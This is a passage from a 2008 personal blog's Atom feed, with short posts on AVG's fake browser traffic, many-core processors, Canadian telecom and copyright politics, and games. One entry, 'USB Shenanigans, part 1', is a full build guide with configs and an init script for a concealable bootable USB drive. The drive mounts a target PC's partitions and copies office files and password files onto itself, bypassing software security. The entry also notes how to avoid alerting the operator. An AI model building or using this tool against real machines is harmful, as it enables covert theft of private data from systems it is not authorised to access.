<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>The Register <a href="http://www.theregister.co.uk/2008/06/26/avg_disguises_fake_traffic_as_ie6/">reports</a> that anti-virus company AVG is sending out fake web traffic from its customer's IPs as they surf the web. They're identifying their bot as Internet Explorer 6. AVG claims they're doing this because they malware pages would just block or spoof their bot if it used a proper user agent.</p>

<p>There's a bit of outrage in some sectors, because this is driving up traffic and skewing people's logging and analysis. Some are outright blocking IE6, or redirecting the traffic to AVG's site. Of course, anyone who actually uses IE6 is being caught up in this along with the bot.</p>

<p>I think this might be the actual goal, and if so, I tip my hat to you <a href="http://www.grisoft.com/">grisoft</a>, you sneaky bastards.</p>]]></content>
</entry>

<entry>
<title>On lots and lots of cores</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/07/02/on_lots_and_lots_of_cores" />
<id>tag:michaelkirkland.org,2008-07-02:/on_lots_and_lots_of_cores</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-07-02T19:20:47Z</published>
<updated>2008-07-02T19:20:47Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="16" label="code" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="32" label="intel" />

<summary><![CDATA[Ars Technica reports on an Intel blog warning developers that we need to adapt an open ended number of cores.

Intel, of course, is primarily worried about making sure people are buying the n-core chips they'll be selling in the years ahead. Of course, that doesn't mean they're wrong, but I don't think the changes, from a coder's view, are going to be as generalized as some seem to. You're not going to get the people smearing their VB on the walls or poking Sharepoint with a stick to wrangl...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p><a href="http://arstechnica.com/news.ars/post/20080702-intel-an-expensive-many-core-future-is-ahead-of-us.html">Ars Technica</a> reports on an Intel <a href="http://blogs.intel.com/research/2008/06/unwelcome_advice.php">blog</a> warning developers that we need to adapt an open ended number of cores.</p>

<p>Intel, of course, is primarily worried about making sure people are buying the n-core chips they'll be selling in the years ahead. Of course, that doesn't mean they're wrong, but I don't think the changes, from a coder's view, are going to be as generalized as some seem to. You're not going to get the people smearing their VB on the walls or poking Sharepoint with a stick to wrangle threads. Most of those folks can't even handle pointers without cutting themselves. If they're to see any benefit, it'll have to be done for them at a lower level, and that's fine.</p>

<p>Now, I'm not saying we won't see big changes in how we code. We certainly will. My point in this post is that <i>it doesn't matter</i>. We're going to go through interesting times, and there will be lots of attempts at getting parallelization right, but this is a revolutionary rather than evolutionary change.</p>

<p>The really cool stuff will spring off from the side, where no one was looking. Ars correctly points out that we won't be getting "free" performance upgrades in terms of periodic increases in clock speed anymore. What's important to note is that we will, suddenly, start getting "free" processors no one really cares about because they're idling.</p>

<p>Expect filesystems to get a lot smarter. Need to clear IO cache? Throw a spare core at compressing it rather than just tossing it. This is easy to parallelize, so throw all the idle cores at it.</p>

<p>Expect virtualization to get thrown at all sorts of problems. Need backwards compatibility? Keep whatever you need running on a core in the background.</p>

<p>You'll likely only be running local servers for sensitive or frequently accessed large stores of data. Renting virtual server instances is going to get <i>cheap</i>. When you can fit a few hundred cores into 1U, the price of renting one will probably be rolled into the cost of bandwidth.</p>

<p>Keep in mind, Intel is far from wrong. We still need to find ways to sensibly use lots of cores for singular tasks, but the really neat things will come out of the slack that arises when we don't keep up with them.</p>]]></content>
</entry>

<entry>
<title>What I've been reading</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/07/01/what_i_ve_been_reading" />
<id>tag:michaelkirkland.org,2008-07-01:/what_i_ve_been_reading</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-07-01T23:49:39Z</published>
<updated>2008-07-01T23:49:39Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="2" label="what i've been reading" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="5" label="politics" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="26" label="vista" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="27" label="microsoft" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="28" label="haha" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="29" label="mobile internet" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="30" label="telcos" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="31" label="iphone" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="32" label="intel" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="33" label="net neutrality" />

<summary><![CDATA[Intel has announced they won't be using Vista, ever. I'm not the least bit surprised, I mean who would use Vista voluntarily, but I'm impressed they had the balls to so publicly poke Microsoft in the eye.

There a couple of important petitions floating around. The first, at ruinediphone.com is about the absurd pricing structure Rogers is proposing for the iPhone in Canada. The second is for Bill C-555 which very tamely gives some legislative guidelines to some of the rather arbitrary surcha...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Intel has <a href="http://www.theinquirer.net/gb/inquirer/news/2008/06/23/intel-dumps-vista">announced</a> they won't be using Vista, ever. I'm not the least bit surprised, I mean who would use Vista voluntarily, but I'm impressed they had the balls to so publicly poke Microsoft in the eye.</p>

<p>There a couple of important petitions floating around. The first, at <a href="http://ruinediphone.com/">ruinediphone.com</a> is about the absurd pricing structure Rogers is proposing for the iPhone in Canada. The second is for <a href="http://www2.parl.gc.ca/HousePublications/Publication.aspx?Docid=3535409&amp;file=4&amp;Language=E">Bill C-555</a> which very tamely gives some legislative guidelines to some of the rather arbitrary surcharges commonly put on cell phone bills, like the nonsensical "system access fee".</p>

<p>I'd prefer the telecom business be as unregulated as possible, but the government must step in when the market fails as it so blatantly has in this case. Hell, we've fallen well behind the <i>Americans</i>, not to mention the rest of the world.</p>]]></content>
</entry>

<entry>
<title>What I've been reading</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/06/26/what_i_ve_been_reading" />
<id>tag:michaelkirkland.org,2008-06-26:/what_i_ve_been_reading</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-06-26T20:57:00Z</published>
<updated>2008-06-26T20:57:00Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="2" label="what i've been reading" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="20" label="oil 2.0" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="21" label="biotech" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="25" label="scifi" />

<summary><![CDATA[Cory Doctorow has put out a nice short story about the future of books in The Bookseller (Warning: really obnoxious flash app.)

The Times reports that a Silicon Valley company is playing with a genetically modified strain of E. Coli that produces crude oil. Now, I don't know if they're on the level, but this isn't cold fusion. Someone will be doing this, and my bet is on sooner rather than later.]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Cory Doctorow has put out a nice short story about the future of books in <a href="http://cde.cerosmedia.com/1P485a63ac3e2b0650.cde/page/116">The Bookseller</a> (Warning: really obnoxious flash app.)</p>

<p><a href="http://www.timesonline.co.uk/tol/news/environment/article4133668.ece">The Times reports</a> that a Silicon Valley company is playing with a genetically modified strain of <i>E. Coli</i> that produces crude oil. Now, I don't know if they're on the level, but this isn't cold fusion. Someone will be doing this, and my bet is on sooner rather than later.</p>]]></content>
</entry>

<entry>
<title>Spore!</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/06/21/spore_" />
<id>tag:michaelkirkland.org,2008-06-21:/spore_</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-06-21T03:01:10Z</published>
<updated>2008-06-23T00:41:03Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="22" label="games" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="23" label="spore" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="24" label="fanboy" />

<summary><![CDATA[Yay, Spore to play with :)



]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>Yay, Spore to play with :)</p>

<object width="355" height="287"><param name="movie" value="http://www.youtube.com/v/3vCj1qruAkU&amp;hl=en"></param><embed src="http://www.youtube.com/v/3vCj1qruAkU&amp;hl=en" type="application/x-shockwave-flash" width="355" height="287"></embed></object>

<object width="355" height="287"><param name="movie" value="http://www.youtube.com/v/3vCj1qruAkU&amp;hl=en"></param><embed src="http://www.youtube.com/v/2_4TD_DT27Q&amp;hl=en" type="application/x-shockwave-flash" width="355" height="287"></embed></object>]]></content>
</entry>

<entry>
<title>USB Shenanigans, part 1</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/06/20/usb_shenanigans__part_1" />
<id>tag:michaelkirkland.org,2008-06-20:/usb_shenanigans__part_1</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-06-20T02:28:04Z</published>
<updated>2011-09-01T11:32:25Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="9" label="linux" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="10" label="usb" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="11" label="articles" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="12" label="security" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="34" label="shenanigans" />

<summary><![CDATA[In this article, we'll be discussing how to create a small Linux system bootable from any USB mass storage device that can pull data of interest from most modern PCs, bypassing any software based security. If you've ever been told you can't bring electronics into a secure area, this is probably a big part of why. These shenanigans aren't restricted to thumb drives, they can just as easily be done from an iPod, most cameras and even some cell phones.
We'll be assuming a fairly high comfort le...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>In this article, we'll be discussing how to create a small Linux system bootable from any USB mass storage device that can pull data of interest from most modern PCs, bypassing any software based security. If you've ever been told you can't bring electronics into a secure area, this is probably a big part of why. These shenanigans aren't restricted to thumb drives, they can just as easily be done from an iPod, most cameras and even some cell phones.</p>
<p>We'll be assuming a fairly high comfort level of Linux in general and the Gentoo build process specifically. If you're not comfortable doing a fresh Gentoo install with just a bootdisk and a stage 3 tarball, you'll probably want to read through the <a href="http://www.gentoo.org/doc/en/handbook/index.xml">Gentoo Handbook</a> and install it on your PC before you read this.</p>
<br />

<h1>Creating the Linux system</h1>

<h2>Overview</h2>
<p>To create the base system, we'll use Gentoo's Catalyst build tool. This software's intended purpose is creating the LiveCDs and stage archives used for bootstrapping a Gentoo system. Its developers don't support creating bootable USB devices with it, but it's flexible enough to do the job without much hassle.</p>

<p>To create the LiveCD iso from which we'll make the bootable USB device, we'll need a portage snapshot and a seed stage 3 archive.</p>

<h2>Portage snapshot</h2>

<p>A portage snapshot is a tarball containing all official ebuilds. You can download one from your favourite Gentoo mirror, but it's preferable to create an up to date one from your local system. Catalyst can do this for you with the command:</p>

<pre>catalyst -s mpk.0</pre>

<p>This will create a snapshot in your catalyst storedir named portage-mpk.0.tar.bz2.</p>

<h2>Creating the seed stage 3</h2>

<p>We need a seed stage to build into the LiveCD. Unfortunately we can't just download one from a Gentoo mirror, because those will be fairly old and when Catalyst tries to upgrade its packages some of them will block each other. Were we doing a normal install, we could easily fix these manually, but Catalyst needs it to work all in one go.</p>

<p>We'll need to create an up to date stage 1 tarball from scratch, from that we can build a stage 2 and then 3. We'll still need a stage 3 from a Gentoo mirror, but this will just be used as a chroot, to isolate the build process from your local system for the first stage. For the second and third stage, the preceding stage will provide the build environment.</p>

<h3>Setting up the Catalyst environment</h3>

<p>Ensure your Catalyst environment is stored on a partition with a fair amount of free space by editing /etc/catalyst/catalyst.conf. The examples in this article will all assume you've set the following:</p>

<pre>
storedir="/data/catalyst"
snapshot_cache="/data/catalyst/snapshot_cache"
</pre>

<p>Create the storedir, and under it create builds/default. Place the stage 3 you downloaded from the Gentoo mirror in builds/default. Keep a copy elsewhere, as Catalyst will delete it in some cases.</p>

<p>We will need a portage configuration directory, create it in /data/catalyst/portage. For our purposes you will only need the following in portage.unmask:</p>

<pre>
=app-misc/livecd-tools-1.0.40
=sys-apps/hwsetup-1.2
</pre>

<p>These packages are hard masked to prevent normal Gentoo users from installing them incidentally, but the are necessary for a LiveCD.</p>

<p>We'll also need a kernel config for the final build. We could create our own with the kernel build tools, but the default Gentoo LiveCD config works for our purposes. Make a kconfig directory in the Catalyst storedir, and place the kernel config in it.</p>

<h3>Creating the seed stage 1</h3>

<p>Write the following to a file named seed-stage1.spec:</p>

<pre>
subarch: i686
version_stamp: mpk.0
target: stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-2007.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer
</pre>

<p>Build the up to date stage 1 tarball by running:</p>

<code>catalyst -v -f seed-stage1.spec</code>

<p>When this finishes, you'll have a freshly made stage1-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 2.</p>

<h3>Creating the seed stage 2</h3>

<p>Write the following to a file named seed-stage2.spec:</p>

<pre>
subarch: i686
version_stamp: mpk.0
target: stage2
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage1-i686-mpk.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer
</pre>

<p>Build the up to date stage 2 tarball by running:</p>

<code>catalyst -v -f seed-stage2.spec</code>

<p>When this finishes, you'll have a freshly made stage2-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 3.</p>

<h3>Creating the seed stage 3</h3>

<p>Write the following to a file named seed-stage3.spec:</p>

<pre>
subarch: i686
version_stamp: mpk.0
target: stage3
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage2-i686-mpk.0
portage_confdir: /data/catalyst/portage
pkgcache_path:
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer
</pre>

<p>Build the up to date stage 3 tarball by running:</p>

<code>catalyst -v -f seed-stage3.spec</code>

<p>When this finishes, you'll have a freshly made stage3-i686-mpk.0.tar.bz2 in your builds/default directory. You now have the stub of a working Gentoo system we can build into a LiveCD.</p>

<h2>Creating the LiveCD</h2>

<p>Now we're ready to start building the LiveCD. Catalyst splits this into two stages. In stage 1, we build all the packages above those in the basic stage 3, save those that depend on the kernel. In stage 2 we build the kernel and any packages that depend on it, unmerge any any packages not needed on the final release (such as the kernel sources), setup the init scripts and package the whole thing in a bootable iso file.</p>

<h3>Creating the LiveCD stage 1</h3>

<p>Write the following to a file named liveusb-stage1.spec:</p>

<pre>
subarch: i686
version_stamp: mpk.0
target: livecd-stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-mpk.0
portage_confdir: /data/catalyst/portage

livecd/use: -* ipv6 socks5 livecd fbcon ncurses readline ssl
livecd/packages: livecd-tools dhcpcd acpid gentoo-sources syslog-ng links dosfstools jfsutils 
xfsprogs e2fsprogs reiserfsprogs ntfsprogs screen iputils hwdata-gentoo hwsetup vim ethtool
</pre>

<p>Build the LiveCD stage 1 by running:</p>

<code>catalyst -v -f liveusb-stage1.spec</code>

<p>In particular, note the livecd/use and livecd/packages variables. The former sets up the default use flags as would be defined in make.conf in a standard Gentoo system, and the latter is the list of packages that will be included above the standard stage 3 packages.</p>

<h3>Creating the LiveCD stage 2</h3>

<p>Write the following to a file named liveusb-stage2.spec:</p>

<pre>
subarch:i686
version_stamp: mpk.0
target:livecd-stage2
rel_type:default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath:default/livecd-stage1-i686-mpk.0
portage_confdir:/data/catalyst/portage

livecd/type:generic-livecd
livecd/iso: /data/catalyst/livecd_shenanigans.iso
livecd/motd:"Welcome to the USB Shenanigans drive"
livecd/rcadd:
        search_partitions|default
livecd/rcdel:
        spind|default
livecd/root_overlay: /data/catalyst/overlay
livecd/fstype: squashfs
livecd/cdtar: /usr/lib/catalyst/livecd/cdtar/isolinux-3.09-cdtar.tar.bz2
livecd/volid: Shenanigans Live CD
livecd/gk_mainargs:
</pre>

<p>Build the LiveCD stage 2 by running:</p>

<code>catalyst -v -f liveusb-stage2.spec</code>

<p>Take particular note of the livecd/rcadd, livecd/rcdel, livecd/root_overlay and livecd/bootargs variables.</p>

<p>The livecd/rcadd and rcdel variables allow us to add or remove init scripts from any runlevel as we would with the rc-update command on a normal Gentoo system. In our case, we want to add the script that searches local partitions as described in the Shenanigans section below, and remove the spind service, which would keep the CD drive spinning if we intended to use this as a LiveCD.</p>

<p>The livecd/root_overlay allows us to splice in files not associated with a package. In our case, we use this to include our shenanigans scripts.</p>

<p>When this finishes, you'll have a working Gentoo system in an iso you can burn. If you're happy carrying around a CD in your pocket, you can skip the rest of the build and move on to the Shenanigans section.</p>

<h2>Creating a LiveUSB image from the LiveCD iso</h2>

<p>We're almost done. We have an iso that can be booted from CD, but we'll not be able to write anything back to that CD when we boot it, and CDs are rather cumbersome to carry around. Flash drives are dirt cheap, come in much larger capacities, and can be booted from on most modern systems. With a little tweaking, we can turn our LiveCD into a LiveUSB.</p>

<h3>Preparing the Flash disk</h3>

<p>We'll be using a standard USB Mass Storage flash disk, fat16/32 format. We could boot Linux from almost any filesystem, but sticking to the standard will give us advantages we'll explore further in Part 2. Format your drive as such if it isn't already, and install a master boot record to the root of the drive with the following command:</p>

<code>mbr-install /dev/sda</code>

<p>Install app-admin/mbr from portage if necessary, and replace /dev/sda with the device node your flash disk is on. Be careful not to overwrite your system's boot record if you have SATA drives.</p>

<h3>Files needed</h3>
From the iso generated by Catalyst, copy the following files to the root of your flash disk:

<pre>
image.squashfs
livecd
isolinux/gentoo
isolinux/gentoo.igz
</pre>

<h3>Bootloader</h3>

<p>Write the following to a file named syslinux.cfg at the root of your flash disk:</p>

<pre>
default gentoo
timeout 0
prompt 1

label gentoo
  kernel gentoo
  append root=/dev/ram0 init=/linuxrc cdroot=/dev/sd[a-z][0-9] slowusb looptype=squashfs 
loop=/image.squashfs initrd=gentoo.igz
</pre>

<p>This is almost identical to the isolinux.cfg Catalyst builds for the LiveCD. We've taken out the boot option that enables a framebuffered console. That's pretty, but it isn't necessary for our purposes and may cause trouble on some systems. We've added cdroot=/dev/sd[a-z][0-9] to the kernel parameters. This gets passed directly into a script in Catalyst's initrd (gentoo.igz) that it uses to determine where the squashfs filesystem is. Normally it would iterate through a long list of potential CD device nodes, looking for one that's mountable and contains a file named livecd in the root. It normally skips over the sd* nodes, as optical media is put on sr* nodes. /dev/sd[a-z][0-9] is expanded by bash into a list of all sd* partitions on the booted system, and Catalyst's script then goes on to look for the one with livecd at the root.</p>

<h1>Shenanigans - Searching the local system</h1>
<br />

<p>Now we come to the point of the exercise. We've got a bootable USB system that can be installed on an easily concealable thumb drive or an apparently innocuous personal media player or camera. This is where we learn why it's never safe to leave a system with sensitive data accessible to people we don't trust.</p>

<p>A very simple script, like the gentoo init script below, can quickly search though the local system for potentially interesting files and deposit them on the flash device. Using $findopts to match files from popular office suites and common password files, this script runs through my old laptop in about 5 minutes. When it's done, you can reboot or immediately remove the flash disk, as it flushes itself.</p>

<pre>
#!/sbin/runscript
depend(){
  need hdparm
}

start() {
  einfo "Searching filesystems"

  #tease the real root of the flash disk out of the mount command.
  cdroot=`mount|sed -n "s/\(\/dev\/sd[a-z][0-9]\) on \/mnt\/cdrom.*/\1/p"`

  ebegin "Opening $cdroot for exfiltration"
  #remount the flash drive as writeable so we can tar files into it
  mount $cdroot -o remount,rw
  eend $?

  cd /dev
  for partition in [hs]d[a-z][0-9]
  do
    if [ "/dev/$partition" != $cdroot ]
    then
      ebegin "Mounting /dev/$partition"
      mkdir -p /mnt/$partition
      mount /dev/$partition /mnt/$partition
      eend $?
      if [ $? = 0 ]
      then
	ebegin "Searching /mnt/$partition"
	find /mnt/$partition $findopts &gt; /tmp/$partition.files
	tar cpjf /mnt/cdrom/$partition.tar.bz2 -T /tmp/$partition.files
        eend $?
	umount /mnt/$partition
      fi
      rmdir /mnt/$partition
    fi
  done

  ebegin "Flushing $cdroot"
  #put the flash drive back in read only mode so it gets flushed
  mount $cdroot -o remount,ro
  eend $?
}
</pre>
<br />

<h1>Limitations</h1>

<p>The primary drawback of this procedure is that it requires the target machine to be rebooted, possibly alerting the operator. (Though this can be mitigated on some systems with hibernate functions if they are accessible.) In part 2 we will discuss a similar procedure which does not require a reboot.</p>
<br />

<h1>References and further reading</h1>
<ol>
<li><a href="http://gentoo-wiki.com/HOWTO_build_a_LiveCD_with_Catalyst_for_newbies">HOWTO build a LiveCD with Catalyst for newbies</a></li>
<li><a href="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=4">Gentoo Handbook - Initscripts</a></li>
</ol>]]></content>
</entry>

<entry>
<title>What I've been reading</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/06/15/what_i_ve_been_reading" />
<id>tag:michaelkirkland.org,2008-06-15:/what_i_ve_been_reading</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-06-15T16:28:07Z</published>
<updated>2008-06-15T16:28:07Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="2" label="what i've been reading" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="7" label="art" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="8" label="nerdistry" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="16" label="code" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="17" label="open source" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="18" label="video" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="19" label="pictures" />

<summary><![CDATA[Here are some amazingly haunting long exposure shots of crowds faded into a ghostly fog.

code_swarm is a project that makes some really neat visualizations created from the history available in source code repositories. Processing, the library used to create the tool that made these videos looks like it might be fun to play with.

				]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p><a href="http://www.alexeytitarenko.com/city1.html">Here</a> are some amazingly haunting long exposure shots of crowds faded into a ghostly fog.</p>

<p><a href="http://vis.cs.ucdavis.edu/~ogawa/codeswarm/">code_swarm</a> is a project that makes some really neat visualizations created from the history available in source code repositories. <a href="http://processing.org/">Processing</a>, the library used to create the tool that made these videos looks like it might be fun to play with.</p>

<object width="400" height="302">	<param name="allowfullscreen" value="true" />	<param name="allowscriptaccess" value="always" />	<param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=1093745&server=www.vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=&fullscreen=1" />	<embed src="http://www.vimeo.com/moogaloop.swf?clip_id=1093745&server=www.vimeo.com&show_title=1&show_byline=1&show_portrait=0&color=&fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="302"></embed></object>]]></content>
</entry>

<entry>
<title>What I've been reading</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/06/12/what_i_ve_been_reading" />
<id>tag:michaelkirkland.org,2008-06-12:/what_i_ve_been_reading</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-06-12T20:18:51Z</published>
<updated>2008-06-12T20:18:51Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="2" label="what i've been reading" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="4" label="copyfight" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="5" label="politics" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="6" label="usians" />

<summary><![CDATA[The Conservatives are trying to force American copyright law on us again. They tabled their "Made in Canada" legislation today, and just as feared it's a carbon copy of the DMCA (with a bit of that nasty mandatory review removed). Are they listening at all? Canadians have made it quite clear that we don't want stricter copyright. Hopefully the Liberals can find their spine long enough to keep this off the books.

The New Yorker is predicting the eradication of the Republican party in its cu...]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>The Conservatives are trying to force American copyright law on us again. They <a href="http://www.michaelgeist.ca/content/view/3025/125/">tabled</a> their "Made in Canada" legislation today, and just as feared it's a carbon copy of the DMCA (with a bit of that nasty mandatory review removed). Are they listening at all? Canadians have made it quite clear that we don't want stricter copyright. Hopefully the Liberals can find their spine long enough to keep this off the books.</p>

<p>The New Yorker is <a href="http://www.newyorker.com/reporting/2008/05/26/080526fa_fact_packer/?currentPage=1">predicting</a> the eradication of the Republican party in its current form. I hope, for all our sakes, that they're right. Their economy is teetering on the edge, and they need a bold leader if they're to avoid going over it. McCain would have made a fine placeholder president in 2000, but he simply doesn't have the vision to repair the damage caused in the last 8 years.</p>]]></content>
</entry>

<entry>
<title>Things I've liked</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/06/09/things_i_ve_liked" />
<id>tag:michaelkirkland.org,2008-06-09:/things_i_ve_liked</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-06-09T18:05:24Z</published>
<updated>2008-06-10T04:00:43Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="2" label="what i've been reading" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="3" label="singularity" />

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="4" label="copyfight" />

<summary><![CDATA[IEEE Spectrum is running an interesting issue on the singularity.
Apparently Jim Prentice (or more likely, his minions) have been vandalizing the Wikipedia entry on him, removing criticism of his ever looming Canadian DMCA. As per the Streisand effect, his shenanigans are now documented much more thoroughly.]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[<p>IEEE Spectrum is running an <a href="http://www.spectrum.ieee.org/singularity">interesting issue</a> on the singularity.</p>
<p>Apparently Jim Prentice (or more likely, his minions) have been <a href="http://www.michaelgeist.ca/content/view/2999/125/">vandalizing</a> the Wikipedia entry on him, removing criticism of his ever looming Canadian DMCA. As per the <a href="http://en.wikipedia.org/wiki/Streisand_effect">Streisand effect</a>, his shenanigans are now <a href="http://en.wikipedia.org/wiki/Jim_Prentice">documented</a> much more thoroughly.</p>]]></content>
</entry>

<entry>
<title>My blog</title>
<link rel="alternate" type="text/html" href="http://michaelkirkland.org/blog/2008/06/03/my_blog" />
<id>tag:michaelkirkland.org,2008-06-03:/my_blog</id>
<author>
<name>Michael Kirkland</name>
<uri>http://michaelkirkland.org/blog</uri>
</author>
<published>2008-06-03T06:21:56Z</published>
<updated>2008-06-03T06:21:56Z</updated>

<category scheme="http://michaelkirkland.org/blog/tags/"
          term="1" label="meta" />

<summary><![CDATA[I've put up an initial version of my blog with the basic features it'll need. I'll add bells and whistles later (tag clouds, openid, maybe some monkeys), but for now you can comment if you like and there's an rss feed.]]></summary>
<content type="html" xml:lang="en" xml:base="http://michaelkirkland.org/blog"><![CDATA[I've put up an initial version of my blog with the basic features it'll need. I'll add bells and whistles later (tag clouds, openid, maybe some monkeys), but for now you can comment if you like and there's an rss feed.]]></content>
</entry>

</feed>

